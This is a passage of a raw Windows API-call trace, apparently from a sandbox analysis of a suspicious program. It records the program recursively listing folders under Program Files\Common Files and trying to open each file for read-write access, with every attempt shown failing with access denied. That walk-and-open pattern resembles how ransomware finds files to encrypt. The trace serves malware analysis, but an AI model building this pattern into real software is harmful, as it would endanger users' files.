ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.762] GetProcessHeap () returned 0x2a0000 [0152.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0152.762] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.762] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TTS20", cAlternateFileName="")) returned 1 [0152.762] GetProcessHeap () returned 0x2a0000 [0152.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27e) returned 0x2c7d48 [0152.762] GetProcessHeap () returned 0x2a0000 [0152.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x88) returned 0x2ed368 [0152.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.762] GetProcessHeap () returned 0x2a0000 [0152.762] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0152.763] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.763] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0152.763] GetProcessHeap () returned 0x2a0000 [0152.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28a) returned 0x2f32d0 [0152.763] GetProcessHeap () returned 0x2a0000 [0152.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x94) returned 0x2c7fd0 [0152.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0152.763] GetProcessHeap () returned 0x2a0000 [0152.763] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd0 | out: hHeap=0x2a0000) returned 1 [0152.763] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.763] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0152.763] GetProcessHeap () returned 0x2a0000 [0152.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x296) returned 0x2f9730 [0152.763] GetProcessHeap () returned 0x2a0000 [0152.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa4) returned 0x2c7fd0 [0152.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x290eb68 | out: lpFindFileData=0x290eb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6420 [0152.764] GetProcessHeap () returned 0x2a0000 [0152.764] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd0 | out: hHeap=0x2a0000) returned 1 [0152.764] FindNextFileW (in: hFindFile=0x2c6420, lpFindFileData=0x290eb68 | out: lpFindFileData=0x290eb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.764] FindNextFileW (in: hFindFile=0x2c6420, lpFindFileData=0x290eb68 | out: lpFindFileData=0x290eb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0152.764] FindClose (in: hFindFile=0x2c6420 | out: hFindFile=0x2c6420) returned 1 [0152.764] GetProcessHeap () returned 0x2a0000 [0152.764] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2a0000) returned 1 [0152.764] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0152.764] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0152.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.766] GetLastError () returned 0x5 [0152.766] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0152.766] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0152.766] GetProcessHeap () returned 0x2a0000 [0152.766] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f9730 | out: hHeap=0x2a0000) returned 1 [0152.766] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0152.766] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0152.766] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0152.766] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0152.766] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.767] GetProcessHeap () returned 0x2a0000 [0152.767] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.767] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TTS20", cAlternateFileName="")) returned 0 [0152.767] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0152.767] GetProcessHeap () returned 0x2a0000 [0152.767] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0152.767] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0152.767] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0152.767] GetProcessHeap () returned 0x2a0000 [0152.767] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ad0 | out: hHeap=0x2a0000) returned 1 [0152.767] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1 [0152.767] GetProcessHeap () returned 0x2a0000 [0152.767] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5a) returned 0x2c22b0 [0152.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0152.770] GetProcessHeap () returned 0x2a0000 [0152.770] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.770] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.770] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ado", cAlternateFileName="")) returned 1 [0152.770] GetProcessHeap () returned 0x2a0000 [0152.770] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x25c) returned 0x2c7ad0 [0152.771] GetProcessHeap () returned 0x2a0000 [0152.771] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x62) returned 0x2c22b0 [0152.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0152.776] GetProcessHeap () returned 0x2a0000 [0152.776] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.776] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0152.776] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0152.776] GetProcessHeap () returned 0x2a0000 [0152.776] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x264) returned 0x2c7d38 [0152.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.777] GetLastError () returned 0x5 [0152.777] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0152.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.777] GetLastError () returned 0x5 [0152.777] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0152.777] GetProcessHeap () returned 0x2a0000 [0152.777] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6e) returned 0x2c22b0 [0152.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0152.778] GetProcessHeap () returned 0x2a0000 [0152.778] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0152.778] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.778] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0152.778] GetProcessHeap () returned 0x2a0000 [0152.778] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x270) returned 0x2f32d0 [0152.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.779] GetLastError () returned 0x5 [0152.779] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0152.779] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.780] GetProcessHeap () returned 0x2a0000 [0152.780] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.780] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0152.780] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0152.780] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, 